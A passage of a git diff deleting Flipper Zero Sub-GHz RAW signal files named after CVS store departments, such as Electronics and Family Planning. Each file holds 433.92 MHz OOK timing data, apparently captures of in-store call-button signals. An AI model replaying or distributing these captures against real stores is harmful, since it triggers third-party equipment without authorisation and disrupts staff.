-740 1544 -740 1592 -736 1552 -736 1588 -1500 788 -1504 828 -1504 784 -740 1588 -1504 784 -744 1588 -1500 784 -748 1580 -1508 784 -736 1592 -1504 784 -744 1584 -1500 784 -744 1584 -1504 784 -740 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Electric_Razors.sub b/assets/resources/subghz/Stores/CVS/Electric_Razors.sub deleted file mode 100644 index 2fc7cb505..000000000 --- a/assets/resources/subghz/Stores/CVS/Electric_Razors.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -744 1560 -1512 828 -740 1544 -744 1584 -744 1540 -740 1588 -736 1552 -736 1588 -740 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -744 1584 -740 1552 -736 1588 -740 1548 -744 1580 -1504 784 -1504 824 -1504 784 -1504 824 -1508 780 -740 1580 -1504 784 -1504 824 -1504 780 -1508 824 -1504 784 -740 1588 -1500 784 -744 1584 -1504 784 -740 1580 -4588 788 -748 1556 -1512 792 -744 1564 -1512 828 -740 1548 -744 1580 -744 1544 -744 1584 -740 1548 -740 1584 -740 1548 -744 1580 -744 1544 -744 1580 -740 1548 -740 1584 -744 1544 -744 1588 -732 1548 -748 1580 -744 1544 -740 1588 -740 1548 -740 1584 -1504 780 -1504 820 -1504 784 -1500 828 -1504 784 -740 1580 -1504 780 -1504 824 -1500 788 -1500 828 -1500 784 -740 1584 -1504 784 -744 1580 -1504 788 -736 1580 -4592 788 -748 1556 -1512 792 -744 1560 -1516 828 -740 1548 -740 1584 -740 1548 -736 1588 -744 1540 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -736 1552 -740 1584 -744 1548 -736 1588 -1504 784 -1500 824 -1508 780 -1504 824 -1504 788 -740 1580 -1504 780 -1504 824 -1504 784 -1508 824 -1500 788 -736 1588 -1504 784 -740 1584 -1504 784 -740 1580 -4584 792 -744 1552 -1516 792 -752 1552 -1516 828 -744 1544 -744 1584 -740 1544 -740 1584 -744 1548 -736 1588 -740 1544 -744 1584 -740 1552 -736 1584 -748 1540 -744 1584 -736 1552 -744 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -732 1588 -1508 780 -1500 824 -1504 784 -1508 828 -1500 784 -736 1584 -1500 788 -1504 824 -1500 788 -1504 824 -1504 784 -740 1584 -1508 780 -744 1584 -1504 784 -740 1580 -4592 788 -748 1560 -1512 792 -744 1564 -1516 828 -740 1548 -740 1588 -744 1544 -740 1584 -748 1544 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -744 1588 -736 1552 -740 1584 -748 1544 -740 1588 -740 1548 -740 1580 -1508 788 -1500 824 -1504 780 -1504 828 -1504 784 -740 1584 -1500 788 -1500 824 -1508 784 -1504 824 -1504 784 -740 1588 -1508 776 -748 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1516 788 -748 1556 -1516 828 -748 1540 -744 1592 -736 1552 -736 1588 -744 1544 -744 1584 -744 1544 -740 1588 -740 1544 -748 1584 -736 1552 -744 1580 -740 1552 -740 1588 -736 1548 -740 1588 -744 1544 -736 1592 -736 1548 -744 1584 -1504 784 -1504 820 -1508 780 -1504 828 -1508 780 -744 1580 -1504 784 -1504 820 -1508 780 -1504 828 -1504 784 -740 1588 -1500 788 -744 1584 -1504 784 -736 1584 -4592 788 -748 1556 -1516 788 -748 1560 -1520 -RAW_Data: 828 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1584 -740 1552 -740 1588 -740 1548 -740 1584 -748 1540 -744 1592 -732 1552 -740 1588 -740 1548 -740 1588 -1504 780 -1504 820 -1504 788 -1500 828 -1504 784 -736 1580 -1508 784 -1504 824 -1500 784 -1504 828 -1500 784 -740 1588 -1500 784 -744 1584 -1500 788 -736 1584 -4584 792 -744 1556 -1516 792 -748 1560 -1516 824 -748 1544 -740 1588 -740 1552 -736 1588 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -744 1544 -744 1588 -736 1548 -744 1584 -740 1552 -736 1584 -744 1548 -740 1588 -736 1552 -740 1580 -1504 788 -1504 824 -1500 788 -1504 828 -1504 788 -740 1580 -1508 780 -1504 824 -1504 780 -1508 828 -1500 788 -744 1584 -1504 784 -736 1588 -1504 780 -744 1584 -4584 788 -752 1556 -1516 788 -744 1560 -1516 832 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1552 -736 1588 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -1500 784 -1508 824 -1500 784 -1504 828 -1504 788 -732 1584 -1504 784 -1504 824 -1500 788 -1500 828 -1508 780 -740 1588 -1504 784 -744 1584 -1504 784 -744 1580 -4588 792 -748 1560 -1516 788 -744 1564 -1512 832 -740 1548 -744 1588 -732 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -744 1580 -744 1548 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -736 1552 -740 1588 -1500 784 -1504 824 -1504 784 -1508 824 -1504 780 -740 1584 -1504 784 -1500 828 -1504 784 -1504 824 -1508 780 -740 1592 -1504 780 -740 1588 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Electronics.sub b/assets/resources/subghz/Stores/CVS/Electronics.sub deleted file mode 100644 index c761bd166..000000000 --- a/assets/resources/subghz/Stores/CVS/Electronics.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -744 1564 -1512 792 -744 1560 -1516 832 -736 1548 -740 1584 -744 1544 -744 1584 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1552 -740 1584 -740 1548 -740 1588 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -1504 784 -740 1588 -1500 788 -740 1584 -1508 780 -740 1584 -1500 788 -1500 824 -1504 784 -740 1584 -1496 788 -1500 828 -1500 788 -740 1584 -1504 784 -736 1580 -4588 788 -748 1552 -1516 792 -748 1560 -1516 824 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -736 1588 -744 1544 -744 1580 -740 1548 -744 1584 -744 1540 -748 1580 -744 1548 -740 1584 -744 1544 -740 1592 -736 1548 -740 1584 -1512 780 -740 1588 -1500 788 -740 1584 -1504 784 -744 1580 -1500 784 -1504 828 -1504 780 -744 1580 -1500 784 -1508 824 -1504 784 -744 1584 -1508 780 -744 1580 -4592 788 -744 1560 -1516 788 -752 1556 -1512 832 -740 1552 -740 1584 -744 1544 -744 1588 -740 1548 -744 1580 -748 1544 -740 1588 -740 1548 -744 1584 -744 1544 -736 1592 -740 1548 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -740 1552 -740 1588 -1504 788 -740 1584 -1508 780 -740 1588 -1500 788 -744 1576 -1508 784 -1500 832 -1504 784 -740 1580 -1508 780 -1504 828 -1504 784 -740 1588 -1508 780 -744 1576 -4592 792 -744 1560 -1516 792 -744 1560 -1516 828 -744 1548 -736 1592 -736 1552 -744 1584 -744 1544 -740 1592 -736 1548 -744 1584 -744 1548 -736 1592 -740 1548 -744 1580 -740 1552 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -740 1592 -1508 780 -740 1588 -1504 784 -744 1584 -1504 784 -736 1584 -1504 784 -1508 824 -1508 780 -740 1584 -1504 784 -1504 828 -1504 784 -744 1584 -1504 784 -740 1576 -4596 792 -744 1560 -1512 796 -744 1564 -1516 824 -744 1544 -740 1588 -740 1552 -740 1584 -740 1548 -740 1592 -740 1548 -740 1584 -740 1548 -744 1580 -744 1548 -736 1588 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -744 1540 -748 1584 -1508 784 -740 1588 -1500 788 -744 1580 -1508 784 -736 1584 -1504 784 -1504 824 -1508 780 -740 1584 -1504 784 -1504 828 -1504 784 -736 1588 -1504 788 -740 1580 -4592 788 -748 1560 -1512 792 -744 1560 -1516 828 -740 1552 -740 1584 -744 1544 -744 1584 -744 1548 -736 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -736 1552 -740 1588 -744 1544 -736 1592 -740 1548 -740 1584 -740 1552 -744 1584 -1500 788 -744 1584 -1508 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1504 788 -740 1584 -1508 784 -744 1580 -4588 792 -744 1560 -1520 788 -748 1556 -1516 -RAW_Data: 832 -740 1548 -744 1584 -744 1544 -744 1588 -740 1552 -740 1580 -744 1548 -740 1592 -740 1548 -744 1584 -740 1552 -740 1584 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1588 -1504 784 -740 1592 -1504 788 -740 1584 -1504 784 -740 1588 -1500 784 -1504 828 -1504 788 -744 1580 -1500 788 -1500 828 -1504 784 -744 1580 -1508 784 -740 1580 -4592 788 -744 1560 -1512 796 -744 1560 -1512 828 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -744 1588 -744 1544 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1544 -748 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -1508 780 -740 1592 -1500 788 -740 1584 -1508 784 -736 1588 -1500 788 -1504 824 -1508 780 -740 1588 -1500 788 -1504 828 -1504 784 -740 1588 -1504 784 -740 1584 -4592 788 -744 1560 -1516 792 -744 1564 -1512 832 -736 1552 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -740 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1584 -740 1552 -740 1584 -740 1552 -736 1596 -1496 788 -744 1584 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -1504 832 -1496 788 -744 1580 -1500 792 -1500 828 -1504 788 -740 1584 -1504 784 -736 1588 -4592 784 -748 1560 -1516 792 -748 1560 -1516 832 -736 1548 -744 1588 -736 1552 -740 1584 -744 1544 -740 1592 -740 1540 -744 1588 -736 1552 -744 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -744 1544 -740 1592 -1504 784 -744 1580 -1508 784 -736 1592 -1500 784 -744 1580 -1504 784 -1504 828 -1508 780 -744 1580 -1496 788 -1504 828 -1504 780 -744 1588 -1500 788 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub b/assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub deleted file mode 100644 index 6ecc97f12..000000000 --- a/assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 792 -744 1560 -1516 824 -740 1548 -744 1584 -740 1544 -740 1588 -736 1552 -740 1588 -736 1548 -740 1580 -744 1544 -740 1588 -740 1548 -740 1584 -740 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1592 -740 1544 -744 1580 -1504 784 -1504 824 -1500 788 -1500 820 -1508 784 -1500 820 -1504 784 -1508 824 -1504 784 -744 1584 -1504 780 -740 1584 -1496 788 -1500 824 -1504 784 -1500 820 -4592 784 -748 1556 -1512 796 -744 1560 -1516 828 -736 1552 -736 1588 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -736 1584 -748 1548 -740 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 780 -1500 824 -1508 784 -1504 820 -1504 784 -1508 824 -1500 784 -1508 824 -1504 784 -740 1588 -1504 788 -736 1580 -1508 784 -1500 828 -1500 784 -1504 824 -4588 792 -748 1560 -1516 788 -744 1560 -1516 832 -744 1548 -736 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -736 1552 -736 1592 -736 1552 -740 1588 -740 1544 -740 1588 -740 1548 -736 1588 -744 1544 -740 1592 -740 1548 -736 1584 -1504 788 -1500 824 -1504 784 -1504 824 -1500 784 -1504 824 -1500 784 -1504 832 -1504 780 -744 1584 -1504 784 -744 1576 -1504 784 -1504 824 -1504 784 -1500 824 -4588 792 -744 1564 -1512 792 -748 1556 -1516 832 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -740 1544 -740 1588 -744 1544 -740 1588 -744 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1548 -740 1580 -1504 784 -1504 824 -1504 784 -1508 824 -1504 784 -1500 828 -1500 788 -1504 828 -1504 784 -740 1588 -1508 780 -744 1576 -1504 784 -1504 828 -1504 780 -1508 824 -4592 788 -744 1564 -1512 792 -752 1556 -1516 824 -744 1552 -740 1584 -744 1548 -740 1584 -740 1548 -744 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1588 -736 1548 -740 1584 -748 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -1508 780 -1508 820 -1504 784 -1500 824 -1504 784 -1508 820 -1504 784 -1508 824 -1504 788 -740 1588 -1500 784 -740 1584 -1504 788 -1504 820 -1508 784 -1500 824 -4592 788 -744 1564 -1516 788 -748 1560 -1512 836 -736 1548 -748 1584 -744 1544 -736 1588 -748 1544 -744 1584 -740 1548 -740 1584 -744 1552 -736 1588 -740 1552 -736 1588 -740 1552 -736 1588 -744 1548 -736 1588 -740 1548 -736 1592 -744 1544 -740 1588 -1504 780 -1508 824 -1500 788 -1500 824 -1508 780 -1504 824 -1504 784 -1504 828 -1504 784 -744 1584 -1504 784 -744 1580 -1500 788 -1500 824 -1508 780 -1500 824 -4592 784 -748 1560 -1512 792 -748 1556 -1516 -RAW_Data: 832 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1588 -744 1544 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -736 1552 -740 1588 -740 1544 -744 1588 -1500 788 -1500 824 -1504 784 -1500 828 -1496 788 -1504 820 -1504 784 -1504 828 -1504 784 -744 1584 -1508 780 -740 1580 -1504 784 -1504 820 -1508 784 -1500 824 -4592 788 -748 1556 -1516 792 -744 1564 -1516 828 -736 1552 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -740 1548 -744 1584 -740 1548 -740 1592 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1580 -744 1548 -744 1584 -1500 788 -1504 820 -1508 784 -1500 828 -1500 784 -1508 820 -1504 784 -1504 828 -1504 788 -740 1584 -1508 780 -740 1584 -1504 784 -1500 824 -1508 784 -1504 824 -4588 788 -748 1560 -1516 788 -748 1556 -1516 832 -740 1552 -740 1588 -740 1544 -744 1588 -740 1552 -740 1588 -744 1544 -740 1588 -740 1552 -740 1588 -740 1544 -748 1584 -740 1552 -736 1592 -740 1548 -744 1580 -744 1548 -740 1592 -736 1552 -740 1584 -1504 780 -1508 824 -1504 784 -1504 824 -1508 784 -1500 824 -1504 784 -1504 828 -1500 784 -744 1588 -1504 784 -740 1584 -1500 788 -1500 828 -1500 788 -1500 824 -4588 792 -748 1560 -1516 788 -748 1560 -1516 828 -740 1548 -744 1584 -744 1548 -740 1584 -740 1556 -736 1592 -740 1544 -744 1588 -740 1548 -736 1588 -740 1552 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -736 1552 -740 1592 -740 1548 -740 1584 -1508 784 -1504 824 -1500 788 -1504 824 -1504 780 -1508 824 -1504 784 -1504 824 -1508 784 -736 1592 -1500 784 -744 1580 -1500 788 -1504 824 -1504 788 -1500 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Family_Planning.sub b/assets/resources/subghz/Stores/CVS/Family_Planning.sub deleted file mode 100644 index 3f83e441f..000000000 --- a/assets/resources/subghz/Stores/CVS/Family_Planning.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1560 -1516 828 -736 1548 -744 1580 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -740 1544 -740 1588 -740 1544 -744 1584 -740 1548 -736 1584 -1504 784 -1500 828 -1500 788 -736 1584 -1500 784 -1500 824 -1500 784 -1504 828 -1500 788 -736 1584 -1500 780 -1504 824 -1504 780 -1500 828 -1504 784 -740 1580 -4584 788 -744 1564 -1512 788 -748 1556 -1516 828 -740 1548 -740 1584 -736 1552 -744 1584 -736 1548 -744 1580 -740 1548 -740 1584 -744 1544 -740 1584 -740 1544 -748 1584 -736 1548 -740 1588 -736 1548 -740 1588 -744 1548 -732 1588 -744 1544 -740 1584 -1504 788 -1504 824 -1504 784 -740 1580 -1504 784 -1504 816 -1508 788 -1500 824 -1504 780 -744 1580 -1504 784 -1504 816 -1504 788 -1500 832 -1500 784 -740 1580 -4584 792 -748 1556 -1512 792 -744 1560 -1516 828 -740 1548 -736 1592 -736 1552 -736 1588 -740 1548 -736 1588 -744 1548 -736 1588 -740 1548 -744 1580 -740 1548 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -744 1548 -732 1588 -744 1544 -740 1588 -1504 776 -1508 828 -1500 784 -740 1584 -1500 784 -1504 824 -1500 784 -1500 828 -1504 788 -736 1580 -1500 788 -1504 820 -1504 784 -1504 824 -1504 784 -736 1584 -4588 792 -744 1560 -1512 788 -748 1560 -1516 824 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1552 -732 1588 -740 1548 -740 1588 -740 1544 -740 1592 -736 1544 -740 1588 -740 1544 -744 1580 -744 1544 -740 1584 -1504 784 -1500 828 -1504 780 -744 1580 -1504 784 -1500 824 -1504 780 -1500 832 -1504 784 -736 1584 -1500 788 -1496 824 -1504 784 -1500 828 -1504 784 -736 1580 -4584 792 -748 1556 -1512 792 -744 1560 -1516 828 -740 1548 -736 1588 -736 1552 -740 1588 -732 1552 -740 1584 -740 1552 -736 1588 -736 1548 -740 1584 -740 1548 -736 1588 -744 1544 -740 1588 -736 1548 -740 1588 -740 1544 -740 1588 -740 1544 -744 1580 -1508 784 -1500 832 -1500 784 -740 1580 -1504 780 -1504 820 -1504 780 -1508 828 -1500 788 -736 1584 -1504 780 -1504 820 -1504 788 -1500 828 -1504 780 -744 1576 -4584 792 -748 1556 -1516 788 -748 1556 -1520 824 -744 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -740 1548 -736 1588 -736 1552 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -1504 784 -1504 824 -1508 780 -744 1576 -1504 784 -1500 828 -1496 788 -1500 824 -1508 780 -744 1576 -1508 780 -1504 824 -1504 784 -1500 828 -1504 780 -740 1580 -4592 788 -744 1560 -1516 788 -744 1564 -1516 -RAW_Data: 828 -740 1544 -740 1588 -736 1552 -736 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -740 1544 -740 1584 -1508 776 -1508 828 -1500 788 -736 1584 -1504 780 -1504 820 -1504 784 -1504 824 -1508 780 -740 1580 -1508 780 -1504 824 -1508 780 -1500 832 -1500 788 -740 1580 -4588 788 -744 1564 -1516 788 -748 1556 -1512 832 -740 1548 -736 1592 -732 1552 -740 1584 -744 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1504 784 -1500 832 -1504 780 -740 1580 -1504 784 -1500 828 -1500 784 -1504 828 -1500 788 -736 1584 -1500 784 -1504 824 -1500 788 -1504 824 -1500 788 -740 1580 -4588 788 -740 1564 -1512 796 -740 1560 -1516 828 -736 1548 -740 1588 -736 1552 -740 1584 -736 1552 -736 1588 -736 1552 -736 1588 -740 1548 -744 1580 -740 1548 -740 1588 -740 1544 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1544 -744 1580 -1504 784 -1504 832 -1504 780 -744 1576 -1508 784 -1500 824 -1504 780 -1504 828 -1504 784 -740 1580 -1500 788 -1500 824 -1500 784 -1504 824 -1508 780 -740 1580 -4584 792 -744 1564 -1512 792 -740 1564 -1516 828 -740 1544 -744 1588 -740 1544 -744 1580 -744 1544 -744 1580 -744 1544 -744 1584 -740 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -736 1592 -1496 788 -1500 828 -1504 784 -736 1584 -1500 788 -1500 824 -1500 788 -1496 836 -1500 784 -740 1584 -1496 788 -1500 824 -1500 788 -1504 828 -1496 792 -740 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Film_Department.sub b/assets/resources/subghz/Stores/CVS/Film_Department.sub deleted file mode 100644 index 2b867aef2..000000000 --- a/assets/resources/subghz/Stores/CVS/Film_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1516 784 -752 1556 -1512 828 -744 1540 -744 1580 -744 1548 -744 1584 -740 1544 -744 1584 -744 1544 -740 1584 -744 1544 -740 1584 -740 1544 -748 1580 -740 1548 -740 1588 -740 1544 -740 1584 -744 1544 -744 1580 -744 1544 -744 1584 -1504 784 -740 1584 -1504 780 -744 1580 -1504 780 -1504 832 -1504 784 -740 1584 -1500 784 -744 1580 -1500 784 -1504 828 -1504 784 -740 1584 -1500 788 -744 1580 -4584 784 -748 1560 -1512 792 -744 1556 -1520 824 -744 1544 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -736 1548 -740 1584 -744 1548 -736 1588 -740 1544 -744 1584 -740 1548 -740 1588 -736 1548 -744 1584 -736 1552 -740 1584 -740 1548 -740 1584 -1508 780 -740 1588 -1500 784 -744 1580 -1504 784 -1500 832 -1504 780 -744 1584 -1500 788 -740 1576 -1504 784 -1500 828 -1504 780 -744 1584 -1504 780 -740 1584 -4584 784 -752 1556 -1516 788 -748 1556 -1512 832 -740 1544 -744 1584 -740 1548 -740 1588 -736 1548 -740 1584 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1584 -1508 780 -740 1588 -1504 784 -740 1584 -1500 784 -1504 820 -1508 784 -740 1584 -1504 780 -744 1580 -1504 780 -1508 824 -1504 780 -740 1588 -1500 784 -740 1576 -4584 792 -748 1556 -1516 788 -744 1556 -1520 828 -736 1548 -740 1584 -740 1548 -740 1588 -736 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -736 1548 -740 1584 -740 1552 -736 1588 -736 1548 -740 1588 -736 1548 -740 1584 -744 1544 -744 1584 -1504 784 -740 1584 -1508 780 -740 1584 -1504 784 -1500 828 -1500 784 -740 1588 -1500 788 -736 1584 -1504 780 -1504 832 -1504 784 -740 1584 -1504 784 -740 1576 -4588 788 -744 1560 -1512 792 -744 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1544 -744 1588 -736 1548 -744 1580 -744 1548 -736 1588 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1592 -1504 784 -736 1588 -1500 784 -744 1580 -1500 784 -1504 828 -1504 784 -740 1588 -1504 780 -740 1584 -1500 788 -1500 828 -1508 780 -740 1584 -1508 780 -740 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1516 828 -736 1552 -740 1592 -736 1548 -736 1588 -740 1552 -740 1584 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -736 1592 -736 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1588 -1504 784 -740 1588 -1504 784 -740 1580 -1500 788 -1500 828 -1504 784 -740 1584 -1504 788 -740 1580 -1504 784 -1504 824 -1508 784 -740 1584 -1508 784 -740 1580 -4592 788 -744 1564 -1512 792 -744 1564 -1512 -RAW_Data: 832 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -736 1552 -740 1588 -736 1548 -740 1588 -740 1552 -740 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1592 -1504 784 -740 1592 -1500 784 -740 1584 -1500 788 -1504 828 -1500 784 -744 1584 -1504 784 -740 1584 -1504 780 -1504 832 -1504 784 -740 1584 -1508 780 -740 1588 -4584 788 -752 1556 -1516 792 -748 1556 -1520 828 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -740 1584 -744 1544 -748 1584 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1596 -1500 788 -740 1584 -1504 784 -740 1584 -1504 780 -1500 832 -1508 780 -744 1584 -1500 788 -740 1584 -1504 784 -1504 824 -1504 784 -736 1588 -1504 784 -744 1580 -4588 788 -748 1560 -1516 792 -744 1560 -1508 836 -736 1552 -740 1584 -744 1548 -740 1588 -740 1544 -744 1584 -744 1548 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -740 1588 -736 1548 -740 1588 -740 1548 -736 1596 -1504 784 -740 1584 -1508 784 -740 1580 -1504 784 -1504 828 -1508 780 -740 1588 -1508 776 -744 1584 -1504 780 -1504 832 -1504 784 -736 1592 -1500 788 -740 1580 -4592 788 -744 1564 -1512 792 -744 1564 -1516 824 -744 1548 -740 1588 -740 1544 -740 1588 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1544 -744 1588 -736 1548 -744 1588 -1504 784 -740 1584 -1508 780 -744 1580 -1500 788 -1500 828 -1504 784 -740 1588 -1508 780 -740 1584 -1504 784 -1504 828 -1504 788 -736 1588 -1504 784 -744 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/First_Aid_Department.sub b/assets/resources/subghz/Stores/CVS/First_Aid_Department.sub deleted file mode 100644 index 0b9a693e7..000000000 --- a/assets/resources/subghz/Stores/CVS/First_Aid_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -744 1564 -1512 788 -748 1556 -1516 828 -740 1548 -740 1584 -740 1548 -744 1584 -736 1548 -740 1588 -740 1544 -744 1584 -744 1544 -740 1584 -740 1552 -740 1584 -744 1540 -748 1584 -740 1544 -744 1584 -744 1540 -744 1584 -740 1548 -740 1592 -1504 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -1500 788 -1500 824 -1504 784 -740 1584 -1508 780 -740 1588 -1500 784 -736 1588 -1508 780 -740 1580 -4588 788 -748 1556 -1516 788 -748 1560 -1516 828 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1552 -736 1588 -736 1552 -736 1588 -740 1552 -732 1592 -736 1552 -736 1588 -740 1548 -740 1592 -736 1548 -740 1588 -1504 784 -744 1584 -1500 788 -740 1580 -1500 784 -1504 820 -1508 780 -1508 828 -1500 788 -740 1584 -1504 784 -740 1584 -1508 780 -740 1588 -1504 784 -736 1584 -4588 792 -744 1560 -1512 792 -748 1556 -1512 832 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 780 -748 1584 -1504 784 -736 1584 -1504 780 -1508 820 -1508 784 -1504 824 -1500 788 -744 1580 -1508 784 -740 1588 -1504 784 -736 1592 -1500 784 -736 1584 -4588 788 -748 1556 -1520 788 -748 1556 -1516 824 -744 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -744 1580 -744 1548 -740 1584 -744 1548 -740 1584 -744 1544 -744 1584 -744 1548 -736 1588 -744 1548 -744 1588 -1500 788 -736 1592 -1504 780 -740 1584 -1504 784 -1500 820 -1508 784 -1500 828 -1508 784 -736 1588 -1508 780 -736 1592 -1504 784 -740 1584 -1508 780 -744 1580 -4588 784 -752 1556 -1520 784 -752 1556 -1516 832 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -740 1588 -736 1552 -736 1592 -736 1552 -736 1592 -736 1552 -736 1592 -740 1552 -736 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 